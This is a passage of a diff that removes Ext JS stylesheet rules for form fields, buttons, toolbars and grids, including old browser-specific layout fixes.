.x-form-text, .ext-strict .ext-ie8 textarea.x-form-field { - margin-bottom: 1px; -} -*/ - -.ext-gecko .x-form-text , .ext-ie8 .x-form-text { - padding-top:2px; /* FF won't center the text vertically */ - padding-bottom:0; -} - -.ext-ie6 .x-form-composite .x-form-text.x-box-item, .ext-ie7 .x-form-composite .x-form-text.x-box-item { - margin: 0 !important; /* clear ie bogus margin bug fix */ -} - -textarea { - resize: none; /* Disable browser resizable textarea */ -} - -/* select boxes */ -.x-form-select-one { - height:20px; - line-height:18px; - vertical-align:middle; - border: 1px solid; -} - -/* multi select boxes */ - -/* --- TODO --- */ - -/* 2.0.2 style */ -.x-form-check-wrap { - line-height:18px; - height: auto; -} - -.ext-ie .x-form-check-wrap input { - width:15px; - height:15px; -} - -.x-form-check-wrap input{ - vertical-align: bottom; -} - -.x-editor .x-form-check-wrap { - padding:3px; -} - -.x-editor .x-form-checkbox { - height:13px; -} - -.x-form-check-group-label { - border-bottom: 1px solid; - margin-bottom: 5px; - padding-left: 3px !important; - float: none !important; -} - -/* wrapped fields and triggers */ -.x-form-field-wrap .x-form-trigger{ - width:17px; - height:21px; - border:0; - background:transparent no-repeat 0 0; - cursor:pointer; - border-bottom: 1px solid; - position:absolute; - top:0; -} - -.x-form-field-wrap .x-form-date-trigger, .x-form-field-wrap .x-form-clear-trigger, .x-form-field-wrap .x-form-search-trigger{ - cursor:pointer; -} - -.x-form-field-wrap .x-form-twin-triggers .x-form-trigger{ - position:static; - top:auto; - vertical-align:top; -} - -.x-form-field-wrap { - position:relative; - left:0;top:0; - text-align: left; - zoom:1; - white-space: nowrap; -} - -.ext-strict .ext-ie8 .x-toolbar-cell .x-form-field-trigger-wrap .x-form-trigger { - right: 0; /* IE8 Strict mode trigger bug */ -} - -.x-form-field-wrap .x-form-trigger-over{ - background-position:-17px 0; -} - -.x-form-field-wrap .x-form-trigger-click{ - background-position:-34px 0; -} - -.x-trigger-wrap-focus .x-form-trigger{ - background-position:-51px 0; -} - -.x-trigger-wrap-focus .x-form-trigger-over{ - background-position:-68px 0; -} - -.x-trigger-wrap-focus .x-form-trigger-click{ - background-position:-85px 0; -} - -.x-trigger-wrap-focus .x-form-trigger{ - border-bottom: 1px solid; -} - -.x-item-disabled .x-form-trigger-over{ - background-position:0 0 !important; - border-bottom: 1px solid; -} - -.x-item-disabled .x-form-trigger-click{ - background-position:0 0 !important; - border-bottom: 1px solid; -} - -.x-trigger-noedit{ - cursor:pointer; -} - -/* field focus style */ -.x-form-focus, textarea.x-form-focus{ - border: 1px solid; -} - -/* invalid fields */ -.x-form-invalid, textarea.x-form-invalid{ - background:repeat-x bottom; - border: 1px solid; -} - -.x-form-inner-invalid, textarea.x-form-inner-invalid{ - background:repeat-x bottom; -} - -/* editors */ -.x-editor { - visibility:hidden; - padding:0; - margin:0; -} - -.x-form-grow-sizer { - left: -10000px; - padding: 8px 3px; - position: absolute; - visibility:hidden; - top: -10000px; - white-space: pre-wrap; - white-space: -moz-pre-wrap; - white-space: -pre-wrap; - white-space: -o-pre-wrap; - word-wrap: break-word; - zoom:1; -} - -.x-form-grow-sizer p { - margin:0 !important; - border:0 none !important; - padding:0 !important; -} - -/* Form Items CSS */ - -.x-form-item { - display:block; - margin-bottom:4px; - zoom:1; -} - -.x-form-item label.x-form-item-label { - display:block; - float:left; - width:100px; - padding:3px; - padding-left:0; - clear:left; - z-index:2; - position:relative; -} - -.x-form-element { - padding-left:105px; - position:relative; -} - -.x-form-invalid-msg { - padding:2px; - padding-left:18px; - background: transparent no-repeat 0 2px; - line-height:16px; - width:200px; -} - -.x-form-label-left label.x-form-item-label { - text-align:left; -} - -.x-form-label-right label.x-form-item-label { - text-align:right; -} - -.x-form-label-top .x-form-item label.x-form-item-label { - width:auto; - float:none; - clear:none; - display:inline; - margin-bottom:4px; - position:static; -} - -.x-form-label-top .x-form-element { - padding-left:0; - padding-top:4px; -} - -.x-form-label-top .x-form-item { - padding-bottom:4px; -} - -/* Editor small font for grid, toolbar and tree */ -.x-small-editor .x-form-text { - height:20px; - line-height:16px; - vertical-align:middle; -} - -.ext-ie6 .x-small-editor .x-form-text, .ext-ie7 .x-small-editor .x-form-text { - margin-top:-1px !important; /* ie bogus margin bug */ - margin-bottom:-1px !important; - height:20px !important; /* ie quirks */ - line-height:16px !important; -} - -.ext-strict .x-small-editor .x-form-text { - height:16px !important; -} - -.ext-ie6 .x-small-editor .x-form-text, .ext-ie7 .x-small-editor .x-form-text { - height:20px; - line-height:16px; -} - -.ext-border-box .x-small-editor .x-form-text { - height:20px; -} - -.x-small-editor .x-form-select-one { - height:20px; - line-height:16px; - vertical-align:middle; -} - -.x-small-editor .x-form-num-field { - text-align:right; -} - -.x-small-editor .x-form-field-wrap .x-form-trigger{ - height:19px; -} - -.ext-webkit .x-small-editor .x-form-text{padding-top:3px;font-size:100%;} - -.x-form-clear { - clear:both; - height:0; - overflow:hidden; - line-height:0; - font-size:0; -} -.x-form-clear-left { - clear:left; - height:0; - overflow:hidden; - line-height:0; - font-size:0; -} - -.ext-ie6 .x-form-check-wrap input, .ext-border-box .x-form-check-wrap input{ - margin-top: 3px; -} - -.x-form-cb-label { - position: relative; - margin-left:4px; - top: 2px; -} - -.ext-ie .x-form-cb-label{ - top: 1px; -} - -.ext-ie6 .x-form-cb-label, .ext-border-box .x-form-cb-label{ - top: 3px; -} - -.x-form-display-field{ - padding-top: 2px; -} - -.ext-gecko .x-form-display-field, .ext-strict .ext-ie7 .x-form-display-field{ - padding-top: 1px; -} - -.ext-ie .x-form-display-field{ - padding-top: 3px; -} - -.ext-strict .ext-ie8 .x-form-display-field{ - padding-top: 0; -} - -.x-form-column { - float:left; - padding:0; - margin:0; - width:48%; - overflow:hidden; - zoom:1; -} - -/* buttons */ -.x-form .x-form-btns-ct .x-btn{ - float:right; - clear:none; -} - -.x-form .x-form-btns-ct .x-form-btns td { - border:0; - padding:0; -} - -.x-form .x-form-btns-ct .x-form-btns-right table{ - float:right; - clear:none; -} - -.x-form .x-form-btns-ct .x-form-btns-left table{ - float:left; - clear:none; -} - -.x-form .x-form-btns-ct .x-form-btns-center{ - text-align:center; /*ie*/ -} - -.x-form .x-form-btns-ct .x-form-btns-center table{ - margin:0 auto; /*everyone else*/ -} - -.x-form .x-form-btns-ct table td.x-form-btn-td{ - padding:3px; -} - -.x-form .x-form-btns-ct .x-btn-focus .x-btn-left{ - background-position:0 -147px; -} - -.x-form .x-form-btns-ct .x-btn-focus .x-btn-right{ - background-position:0 -168px; -} - -.x-form .x-form-btns-ct .x-btn-focus .x-btn-center{ - background-position:0 -189px; -} - -.x-form .x-form-btns-ct .x-btn-click .x-btn-center{ - background-position:0 -126px; -} - -.x-form .x-form-btns-ct .x-btn-click .x-btn-right{ - background-position:0 -84px; -} - -.x-form .x-form-btns-ct .x-btn-click .x-btn-left{ - background-position:0 -63px; -} - -.x-form-invalid-icon { - width:16px; - height:18px; - visibility:hidden; - position:absolute; - left:0; - top:0; - display:block; - background:transparent no-repeat 0 2px; -} - -/* fieldsets */ -.x-fieldset { - border:1px solid; - padding:10px; - margin-bottom:10px; - display:block; /* preserve margins in IE */ -} - -/* make top of checkbox/tools visible in webkit */ -.ext-webkit .x-fieldset-header { - padding-top: 1px; -} - -.ext-ie .x-fieldset legend { - margin-bottom:10px; -} - -.ext-ie .x-fieldset { - padding-top: 0; - padding-bottom:10px; -} - -.x-fieldset legend .x-tool-toggle { - margin-right:3px; - margin-left:0; - float:left !important; -} - -.x-fieldset legend input { - margin-right:3px; - float:left !important; - height:13px; - width:13px; -} - -fieldset.x-panel-collapsed { - padding-bottom:0 !important; - border-width: 1px 1px 0 1px !important; - border-left-color: transparent; - border-right-color: transparent; -} - -.ext-ie6 fieldset.x-panel-collapsed{ - padding-bottom:0 !important; - border-width: 1px 0 0 0 !important; - margin-left: 1px; - margin-right: 1px; -} - -fieldset.x-panel-collapsed .x-fieldset-bwrap { - visibility:hidden; - position:absolute; - left:-1000px; - top:-1000px; -} - -.ext-ie .x-fieldset-bwrap { - zoom:1; -} - -.x-fieldset-noborder { - border:0px none transparent; -} - -.x-fieldset-noborder legend { - margin-left:-3px; -} - -/* IE legend positioning bug */ -.ext-ie .x-fieldset-noborder legend { - position: relative; - margin-bottom:23px; -} -.ext-ie .x-fieldset-noborder legend span { - position: absolute; - left:16px; -} - -.ext-gecko .x-window-body .x-form-item { - -moz-outline: none; - outline: none; - overflow: auto; -} - -.ext-mac.ext-gecko .x-window-body .x-form-item { - overflow:hidden; -} - -.ext-gecko .x-form-item { - -moz-outline: none; - outline: none; -} - -.x-hide-label label.x-form-item-label { - display:none; -} - -.x-hide-label .x-form-element { - padding-left: 0 !important; -} - -.x-form-label-top .x-hide-label label.x-form-item-label{ - display: none; -} - -.x-fieldset { - overflow:hidden; -} - -.x-fieldset-bwrap { - overflow:hidden; - zoom:1; -} - -.x-fieldset-body { - overflow:hidden; -} -.x-btn{ - cursor:pointer; - white-space: nowrap; -} - -.x-btn button{ - border:0 none; - background-color:transparent; - padding-left:3px; - padding-right:3px; - cursor:pointer; - margin:0; - overflow:visible; - width:auto; - -moz-outline:0 none; - outline:0 none; -} - -* html .ext-ie .x-btn button { - width:1px; -} - -.ext-gecko .x-btn button, .ext-webkit .x-btn button { - padding-left:0; - padding-right:0; -} - -.ext-gecko .x-btn button::-moz-focus-inner { - padding:0; -} - -.ext-ie .x-btn button { - padding-top:2px; -} - -.x-btn td { - padding:0 !important; -} - -.x-btn-text { - cursor:pointer; - white-space: nowrap; - padding:0; -} - -/* icon placement and sizing styles */ - -/* Only text */ -.x-btn-noicon .x-btn-small .x-btn-text{ - height: 16px; -} - -.x-btn-noicon .x-btn-medium .x-btn-text{ - height: 24px; -} - -.x-btn-noicon .x-btn-large .x-btn-text{ - height: 32px; -} - -/* Only icons */ -.x-btn-icon .x-btn-text{ - background-position: center; - background-repeat: no-repeat; -} - -.x-btn-icon .x-btn-small .x-btn-text{ - height: 16px; - width: 16px; -} - -.x-btn-icon .x-btn-medium .x-btn-text{ - height: 24px; - width: 24px; -} - -.x-btn-icon .x-btn-large .x-btn-text{ - height: 32px; - width: 32px; -} - -/* Icons and text */ -/* left */ -.x-btn-text-icon .x-btn-icon-small-left .x-btn-text{ - background-position: 0 center; - background-repeat: no-repeat; - padding-left:18px; - height:16px; -} - -.x-btn-text-icon .x-btn-icon-medium-left .x-btn-text{ - background-position: 0 center; - background-repeat: no-repeat; - padding-left:26px; - height:24px; -} - -.x-btn-text-icon .x-btn-icon-large-left .x-btn-text{ - background-position: 0 center; - background-repeat: no-repeat; - padding-left:34px; - height:32px; -} - -/* top */ -.x-btn-text-icon .x-btn-icon-small-top .x-btn-text{ - background-position: center 0; - background-repeat: no-repeat; - padding-top:18px; -} - -.x-btn-text-icon .x-btn-icon-medium-top .x-btn-text{ - background-position: center 0; - background-repeat: no-repeat; - padding-top:26px; -} - -.x-btn-text-icon .x-btn-icon-large-top .x-btn-text{ - background-position: center 0; - background-repeat: no-repeat; - padding-top:34px; -} - -/* right */ -.x-btn-text-icon .x-btn-icon-small-right .x-btn-text{ - background-position: right center; - background-repeat: no-repeat; - padding-right:18px; - height:16px; -} - -.x-btn-text-icon .x-btn-icon-medium-right .x-btn-text{ - background-position: right center; - background-repeat: no-repeat; - padding-right:26px; - height:24px; -} - -.x-btn-text-icon .x-btn-icon-large-right .x-btn-text{ - background-position: right center; - background-repeat: no-repeat; - padding-right:34px; - height:32px; -} - -/* bottom */ -.x-btn-text-icon .x-btn-icon-small-bottom .x-btn-text{ - background-position: center bottom; - background-repeat: no-repeat; - padding-bottom:18px; -} - -.x-btn-text-icon .x-btn-icon-medium-bottom .x-btn-text{ - background-position: center bottom; - background-repeat: no-repeat; - padding-bottom:26px; -} - -.x-btn-text-icon .x-btn-icon-large-bottom .x-btn-text{ - background-position: center bottom; - background-repeat: no-repeat; - padding-bottom:34px; -} - -/* background positioning */ -.x-btn-tr i, .x-btn-tl i, .x-btn-mr i, .x-btn-ml i, .x-btn-br i, .x-btn-bl i{ - font-size:1px; - line-height:1px; - width:3px; - display:block; - overflow:hidden; -} - -.x-btn-tr i, .x-btn-tl i, .x-btn-br i, .x-btn-bl i{ - height:3px; -} - -.x-btn-tl{ - width:3px; - height:3px; - background:no-repeat 0 0; -} -.x-btn-tr{ - width:3px; - height:3px; - background:no-repeat -3px 0; -} -.x-btn-tc{ - height:3px; - background:repeat-x 0 -6px; -} - -.x-btn-ml{ - width:3px; - background:no-repeat 0 -24px; -} -.x-btn-mr{ - width:3px; - background:no-repeat -3px -24px; -} - -.x-btn-mc{ - background:repeat-x 0 -1096px; - vertical-align: middle; - text-align:center; - padding:0 5px; - cursor:pointer; - white-space:nowrap; -} - -/* Fixes an issue with the button height */ -.ext-strict .ext-ie6 .x-btn-mc, .ext-strict .ext-ie7 .x-btn-mc { - height: 100%; -} - -.x-btn-bl{ - width:3px; - height:3px; - background:no-repeat 0 -3px; -} - -.x-btn-br{ - width:3px; - height:3px; - background:no-repeat -3px -3px; -} - -.x-btn-bc{ - height:3px; - background:repeat-x 0 -15px; -} - -.x-btn-over .x-btn-tl{ - background-position: -6px 0; -} - -.x-btn-over .x-btn-tr{ - background-position: -9px 0; -} - -.x-btn-over .x-btn-tc{ - background-position: 0 -9px; -} - -.x-btn-over .x-btn-ml{ - background-position: -6px -24px; -} - -.x-btn-over .x-btn-mr{ - background-position: -9px -24px; -} - -.x-btn-over .x-btn-mc{ - background-position: 0 -2168px; -} - -.x-btn-over .x-btn-bl{ - background-position: -6px -3px; -} - -.x-btn-over .x-btn-br{ - background-position: -9px -3px; -} - -.x-btn-over .x-btn-bc{ - background-position: 0 -18px; -} - -.x-btn-click .x-btn-tl, .x-btn-menu-active .x-btn-tl, .x-btn-pressed .x-btn-tl{ - background-position: -12px 0; -} - -.x-btn-click .x-btn-tr, .x-btn-menu-active .x-btn-tr, .x-btn-pressed .x-btn-tr{ - background-position: -15px 0; -} - -.x-btn-click .x-btn-tc, .x-btn-menu-active .x-btn-tc, .x-btn-pressed .x-btn-tc{ - background-position: 0 -12px; -} - -.x-btn-click .x-btn-ml, .x-btn-menu-active .x-btn-ml, .x-btn-pressed .x-btn-ml{ - background-position: -12px -24px; -} - -.x-btn-click .x-btn-mr, .x-btn-menu-active .x-btn-mr, .x-btn-pressed .x-btn-mr{ - background-position: -15px -24px; -} - -.x-btn-click .x-btn-mc, .x-btn-menu-active .x-btn-mc, .x-btn-pressed .x-btn-mc{ - background-position: 0 -3240px; -} - -.x-btn-click .x-btn-bl, .x-btn-menu-active .x-btn-bl, .x-btn-pressed .x-btn-bl{ - background-position: -12px -3px; -} - -.x-btn-click .x-btn-br, .x-btn-menu-active .x-btn-br, .x-btn-pressed .x-btn-br{ - background-position: -15px -3px; -} - -.x-btn-click .x-btn-bc, .x-btn-menu-active .x-btn-bc, .x-btn-pressed .x-btn-bc{ - background-position: 0 -21px; -} - -.x-btn-disabled *{ - cursor:default !important; -} - - -/* With a menu arrow */ -/* right */ -.x-btn-mc em.x-btn-arrow { - display:block; - background:transparent no-repeat right center; - padding-right:10px; -} - -.x-btn-mc em.x-btn-split { - display:block; - background:transparent no-repeat right center; - padding-right:14px; -} - -/* bottom */ -.x-btn-mc em.x-btn-arrow-bottom { - display:block; - background:transparent no-repeat center bottom; - padding-bottom:14px; -} - -.x-btn-mc em.x-btn-split-bottom { - display:block; - background:transparent no-repeat center bottom; - padding-bottom:14px; -} - -/* height adjustment class */ -.x-btn-as-arrow .x-btn-mc em { - display:block; - background-color:transparent; - padding-bottom:14px; -} - -/* groups */ -.x-btn-group { - padding:1px; -} - -.x-btn-group-header { - padding:2px; - text-align:center; -} - -.x-btn-group-tc { - background: transparent repeat-x 0 0; - overflow:hidden; -} - -.x-btn-group-tl { - background: transparent no-repeat 0 0; - padding-left:3px; - zoom:1; -} - -.x-btn-group-tr { - background: transparent no-repeat right 0; - zoom:1; - padding-right:3px; -} - -.x-btn-group-bc { - background: transparent repeat-x 0 bottom; - zoom:1; -} - -.x-btn-group-bc .x-panel-footer { - zoom:1; -} - -.x-btn-group-bl { - background: transparent no-repeat 0 bottom; - padding-left:3px; - zoom:1; -} - -.x-btn-group-br { - background: transparent no-repeat right bottom; - padding-right:3px; - zoom:1; -} - -.x-btn-group-mc { - border:0 none; - padding:1px 0 0 0; - margin:0; -} - -.x-btn-group-mc .x-btn-group-body { - background-color:transparent; - border: 0 none; -} - -.x-btn-group-ml { - background: transparent repeat-y 0 0; - padding-left:3px; - zoom:1; -} - -.x-btn-group-mr { - background: transparent repeat-y right 0; - padding-right:3px; - zoom:1; -} - -.x-btn-group-bc .x-btn-group-footer { - padding-bottom:6px; -} - -.x-panel-nofooter .x-btn-group-bc { - height:3px; - font-size:0; - line-height:0; -} - -.x-btn-group-bwrap { - overflow:hidden; - zoom:1; -} - -.x-btn-group-body { - overflow:hidden; - zoom:1; -} - -.x-btn-group-notitle .x-btn-group-tc { - background: transparent repeat-x 0 0; - overflow:hidden; - height:2px; -}.x-toolbar{ - border-style:solid; - border-width:0 0 1px 0; - display: block; - padding:2px; - background:repeat-x top left; - position:relative; - left:0; - top:0; - zoom:1; - overflow:hidden; -} - -.x-toolbar-left { - width: 100%; -} - -.x-toolbar .x-item-disabled .x-btn-icon { - opacity: .35; - -moz-opacity: .35; - filter: alpha(opacity=35); -} - -.x-toolbar td { - vertical-align:middle; -} - -.x-toolbar td,.x-toolbar span,.x-toolbar input,.x-toolbar div,.x-toolbar select,.x-toolbar label{ - white-space: nowrap; -} - -.x-toolbar .x-item-disabled { - cursor:default; - opacity:.6; - -moz-opacity:.6; - filter:alpha(opacity=60); -} - -.x-toolbar .x-item-disabled * { - cursor:default; -} - -.x-toolbar .x-toolbar-cell { - vertical-align:middle; -} - -.x-toolbar .x-btn-tl, .x-toolbar .x-btn-tr, .x-toolbar .x-btn-tc, .x-toolbar .x-btn-ml, .x-toolbar .x-btn-mr, -.x-toolbar .x-btn-mc, .x-toolbar .x-btn-bl, .x-toolbar .x-btn-br, .x-toolbar .x-btn-bc -{ - background-position: 500px 500px; -} - -/* These rules are duplicated from button.css to give priority of x-toolbar rules above */ -.x-toolbar .x-btn-over .x-btn-tl{ - background-position: -6px 0; -} - -.x-toolbar .x-btn-over .x-btn-tr{ - background-position: -9px 0; -} - -.x-toolbar .x-btn-over .x-btn-tc{ - background-position: 0 -9px; -} - -.x-toolbar .x-btn-over .x-btn-ml{ - background-position: -6px -24px; -} - -.x-toolbar .x-btn-over .x-btn-mr{ - background-position: -9px -24px; -} - -.x-toolbar .x-btn-over .x-btn-mc{ - background-position: 0 -2168px; -} - -.x-toolbar .x-btn-over .x-btn-bl{ - background-position: -6px -3px; -} - -.x-toolbar .x-btn-over .x-btn-br{ - background-position: -9px -3px; -} - -.x-toolbar .x-btn-over .x-btn-bc{ - background-position: 0 -18px; -} - -.x-toolbar .x-btn-click .x-btn-tl, .x-toolbar .x-btn-menu-active .x-btn-tl, .x-toolbar .x-btn-pressed .x-btn-tl{ - background-position: -12px 0; -} - -.x-toolbar .x-btn-click .x-btn-tr, .x-toolbar .x-btn-menu-active .x-btn-tr, .x-toolbar .x-btn-pressed .x-btn-tr{ - background-position: -15px 0; -} - -.x-toolbar .x-btn-click .x-btn-tc, .x-toolbar .x-btn-menu-active .x-btn-tc, .x-toolbar .x-btn-pressed .x-btn-tc{ - background-position: 0 -12px; -} - -.x-toolbar .x-btn-click .x-btn-ml, .x-toolbar .x-btn-menu-active .x-btn-ml, .x-toolbar .x-btn-pressed .x-btn-ml{ - background-position: -12px -24px; -} - -.x-toolbar .x-btn-click .x-btn-mr, .x-toolbar .x-btn-menu-active .x-btn-mr, .x-toolbar .x-btn-pressed .x-btn-mr{ - background-position: -15px -24px; -} - -.x-toolbar .x-btn-click .x-btn-mc, .x-toolbar .x-btn-menu-active .x-btn-mc, .x-toolbar .x-btn-pressed .x-btn-mc{ - background-position: 0 -3240px; -} - -.x-toolbar .x-btn-click .x-btn-bl, .x-toolbar .x-btn-menu-active .x-btn-bl, .x-toolbar .x-btn-pressed .x-btn-bl{ - background-position: -12px -3px; -} - -.x-toolbar .x-btn-click .x-btn-br, .x-toolbar .x-btn-menu-active .x-btn-br, .x-toolbar .x-btn-pressed .x-btn-br{ - background-position: -15px -3px; -} - -.x-toolbar .x-btn-click .x-btn-bc, .x-toolbar .x-btn-menu-active .x-btn-bc, .x-toolbar .x-btn-pressed .x-btn-bc{ - background-position: 0 -21px; -} - -.x-toolbar div.xtb-text{ - padding:2px 2px 0; - line-height:16px; - display:block; -} - -.x-toolbar .xtb-sep { - background-position: center; - background-repeat: no-repeat; - display: block; - font-size: 1px; - height: 16px; - width:4px; - overflow: hidden; - cursor:default; - margin: 0 2px 0; - border:0; -} - -.x-toolbar .xtb-spacer { - width:2px; -} - -/* Paging Toolbar */ -.x-tbar-page-number{ - width:30px; - height:14px; -} - -.ext-ie .x-tbar-page-number{ - margin-top: 2px; -} - -.x-paging-info { - position:absolute; - top:5px; - right: 8px; -} - -/* floating */ -.x-toolbar-ct { - width:100%; -} - -.x-toolbar-right td { - text-align: center; -} - -.x-panel-tbar, .x-panel-bbar, .x-window-tbar, .x-window-bbar, .x-tab-panel-tbar, .x-tab-panel-bbar, .x-plain-tbar, .x-plain-bbar { - overflow:hidden; - zoom:1; -} - -.x-toolbar-more .x-btn-small .x-btn-text{ - height: 16px; - width: 12px; -} - -.x-toolbar-more em.x-btn-arrow { - display:inline; - background-color:transparent; - padding-right:0; -} - -.x-toolbar-more .x-btn-mc em.x-btn-arrow { - background-image: none; -} - -div.x-toolbar-no-items { - color:gray !important; - padding:5px 10px !important; -} - -/* fix ie toolbar form items */ -.ext-border-box .x-toolbar-cell .x-form-text { - margin-bottom:-1px !important; -} - -.ext-border-box .x-toolbar-cell .x-form-field-wrap .x-form-text { - margin:0 !important; -} - -.ext-ie .x-toolbar-cell .x-form-field-wrap { - height:21px; -} - -.ext-ie .x-toolbar-cell .x-form-text { - position:relative; - top:-1px; -} - -.ext-strict .ext-ie8 .x-toolbar-cell .x-form-field-trigger-wrap .x-form-text, .ext-strict .ext-ie .x-toolbar-cell .x-form-text { - top: 0px; -} - -.x-toolbar-right td .x-form-field-trigger-wrap{ - text-align: left; -} - -.x-toolbar-cell .x-form-checkbox, .x-toolbar-cell .x-form-radio{ - margin-top: 5px; -} - -.x-toolbar-cell .x-form-cb-label{ - vertical-align: bottom; - top: 1px; -} - -.ext-ie .x-toolbar-cell .x-form-checkbox, .ext-ie .x-toolbar-cell .x-form-radio{ - margin-top: 4px; -} - -.ext-ie .x-toolbar-cell .x-form-cb-label{ - top: 0; -} -/* Grid3 styles */ -.x-grid3 { - position:relative; - overflow:hidden; -} - -.x-grid-panel .x-panel-body { - overflow:hidden !important; -} - -.x-grid-panel .x-panel-mc .x-panel-body { - border:1px solid; -} - -.x-grid3 table { - table-layout:fixed; -} - -.x-grid3-viewport{ - overflow:hidden; -} - -.x-grid3-hd-row td, .x-grid3-row td, .x-grid3-summary-row td{ - -moz-outline: none; - outline: none; - -moz-user-focus: normal; -} - -.x-grid3-row td, .x-grid3-summary-row td { - line-height:13px; - vertical-align: top; - padding-left:1px; - padding-right:1px; - -moz-user-select: none; - -khtml-user-select:none; - -webkit-user-select:ignore; -} - -.x-grid3-cell{ - -moz-user-select: none; - -khtml-user-select:none; - -webkit-user-select:ignore; -} - -.x-grid3-hd-row td { - line-height:15px; - vertical-align:middle; - border-left:1px solid; - border-right:1px solid; -} - -.x-grid3-hd-row .x-grid3-marker-hd { - padding:3px; -} - -.x-grid3-row .x-grid3-marker { - padding:3px; -} - -.x-grid3-cell-inner, .x-grid3-hd-inner{ - overflow:hidden; - -o-text-overflow: ellipsis; - text-overflow: ellipsis; - padding:3px 3px 3px 5px; - white-space: nowrap; -} - -/* ActionColumn, reduce padding to accommodate 16x16 icons in normal row height */ -.x-action-col-cell .x-grid3-cell-inner { - padding-top: 1px; - padding-bottom: 1px; -} - -.x-action-col-icon { - cursor: pointer; -} - -.x-grid3-hd-inner { - position:relative; - cursor:inherit; - padding:4px 3px 4px 5px; -} - -.x-grid3-row-body { - white-space:normal; -} - -.x-grid3-body-cell { - -moz-outline:0 none; - outline:0 none; -} - -/* IE Quirks to clip */ -.ext-ie .x-grid3-cell-inner, .ext-ie .x-grid3-hd-inner{ - width:100%; -} - -/* reverse above in strict mode */ -.ext-strict .x-grid3-cell-inner, .ext-strict .x-grid3-hd-inner{ - width:auto; -} - -.x-grid-row-loading { - background: no-repeat center center; -} - -.x-grid-page { - overflow:hidden; -} - -.x-grid3-row { - cursor: default; - border: 1px solid; - width:100%; -} - -.x-grid3-row-over { - border:1px solid; - background: repeat-x left top; -} - -.x-grid3-resize-proxy { - width:1px; - left:0; - cursor: e-resize; - cursor: col-resize; - position:absolute; - top:0; - height:100px; - overflow:hidden; - visibility:hidden; - border:0 none; - z-index:7; -} - -.x-grid3-resize-marker { - width:1px; - left:0; - position:absolute; - top:0; - height:100px; - overflow:hidden; - visibility:hidden; - border:0 none; - z-index:7; -} - -.x-grid3-focus { - position:absolute; - left:0; - top:0; - width:1px; - height:1px; - line-height:1px; - font-size:1px; - -moz-outline:0 none; - outline:0 none; - -moz-user-select: text; - -khtml-user-select: text; - -webkit-user-select:ignore; -} - -/* header styles */ -.x-grid3-header{ - background: repeat-x 0 bottom; - cursor:default; - zoom:1; - padding:1px 0 0 0; -} - -.x-grid3-header-pop { - border-left:1px solid; - float:right; - clear:none; -} - -.x-grid3-header-pop-inner { - border-left:1px solid; - width:14px; - height:19px; - background: transparent no-repeat center center; -} - -.ext-ie .x-grid3-header-pop-inner { - width:15px; -} - -.ext-strict .x-grid3-header-pop-inner { - width:14px; -} - -.x-grid3-header-inner { - overflow:hidden; - zoom:1; - float:left; -} - -.x-grid3-header-offset { - padding-left:1px; - text-align: left; -} - -td.x-grid3-hd-over, td.sort-desc, td.sort-asc, td.x-grid3-hd-menu-open { - border-left:1px solid; - border-right:1px solid; -} - -td.x-grid3-hd-over .x-grid3-hd-inner, td.sort-desc .x-grid3-hd-inner, td.sort-asc .x-grid3-hd-inner, td.x-grid3-hd-menu-open .x-grid3-hd-inner { - background: repeat-x left bottom; - -} - -.x-grid3-sort-icon{ - background-repeat: no-repeat; - display: none; - height: 4px; - width: 13px; - margin-left:3px; - vertical-align: middle; -} - -.sort-asc .x-grid3-sort-icon, .sort-desc .x-grid3-sort-icon { - display: inline; -} - -/* Header position fixes for IE strict mode */ -.ext-strict .ext-ie .x-grid3-header-inner, .ext-strict .ext-ie6 .x-grid3-hd { - position:relative; -} - -.ext-strict .ext-ie6 .x-grid3-hd-inner{ - position:static; -} - -/* Body Styles */ -.x-grid3-body { - zoom:1; -} - -.x-grid3-scroller { - overflow:auto; - zoom:1; - position:relative; -} - -.x-grid3-cell-text, .x-grid3-hd-text { - display: block; - padding: 3px 5px 3px 5px; - -moz-user-select: none; - -khtml-user-select: none; - -webkit-user-select:ignore; -} - -.x-grid3-split { - background-position: center; - background-repeat: no-repeat; - cursor: e-resize; - cursor: col-resize; - display: block; - font-size: 1px; - height: 16px; - overflow: hidden; - position: absolute; - top: 2px; - width: 6px; - z-index: 3; -} - -/* Column Reorder DD */ -.x-dd-drag-proxy .x-grid3-hd-inner{ - background: repeat-x left bottom; - width:120px; - padding:3px; - border:1px solid; - overflow:hidden; -} - -.col-move-top, .col-move-bottom{ - width:9px; - height:9px; - position:absolute; - top:0; - line-height:1px; - font-size:1px; - overflow:hidden; - visibility:hidden; - z-index:20000; - background:transparent no-repeat left top; -} - -/* Selection Styles */ -.x-grid3-row-selected { - border:1px dotted; -} - -.x-grid3-locked td.x-grid3-row-marker, .x-grid3-locked .x-grid3-row-selected td.x-grid3-row-marker{ - background: repeat-x 0 bottom !important; - vertical-align:middle !important; - padding:0; - border-top:1px solid; - border-bottom:none !important; - border-right:1px solid !important; - text-align:center; -} - -.x-grid3-locked td.x-grid3-row-marker div, .x-grid3-locked .x-grid3-row-selected td.x-grid3-row-marker div{ - padding:0 4px; - text-align:center; -} - -/* dirty cells */ -.x-grid3-dirty-cell { - background: transparent no-repeat 0 0; -} - -/* Grid Toolbars */ -.x-grid3-topbar, .x-grid3-bottombar{ - overflow:hidden; - display:none; - zoom:1; - position:relative; -} - -.x-grid3-topbar .x-toolbar{ - border-right:0 none; -} - -.x-grid3-bottombar .x-toolbar{ - border-right:0 none; - border-bottom:0 none; - border-top:1px solid; -} - -/* Props Grid Styles */ -.x-props-grid .x-grid3-cell{ - padding:1px; -} - -.x-props-grid .x-grid3-td-name .x-grid3-cell-inner{ - background:transparent repeat-y -16px !important; - padding-left:12px; -} - -.x-props-grid .x-grid3-body .x-grid3-td-name{ - padding:1px; - padding-right:0; - border:0 none; - border-right:1px solid; -} - -/* dd */ -.x-grid3-col-dd { - border:0 none; - padding:0; - background-color:transparent; -} - -.x-dd-drag-ghost .x-grid3-dd-wrap { - padding:1px 3px 3px 1px; -} - -.x-grid3-hd { - -moz-user-select:none; - -khtml-user-select:none; - -webkit-user-select:ignore; -} - -.x-grid3-hd-btn { - display:none; - position:absolute; - width:14px; - background:no-repeat left center; - right:0; - top:0; - z-index:2; - cursor:pointer; -} - -.x-grid3-hd-over .x-grid3-hd-btn, .x-grid3-hd-menu-open .x-grid3-hd-btn { - display:block; -} - -a.x-grid3-hd-btn:hover { - background-position:-14px center; -} - -/* Expanders */ -.x-grid3-body .x-grid3-td-expander { - background:transparent repeat-y right; -} - -.x-grid3-body .x-grid3-td-expander .x-grid3-cell-inner { - padding:0 !important; - height:100%; -} - -.x-grid3-row-expander { - width:100%; - height:18px; - background-position:4px 2px; - background-repeat:no-repeat; - background-color:transparent; -} 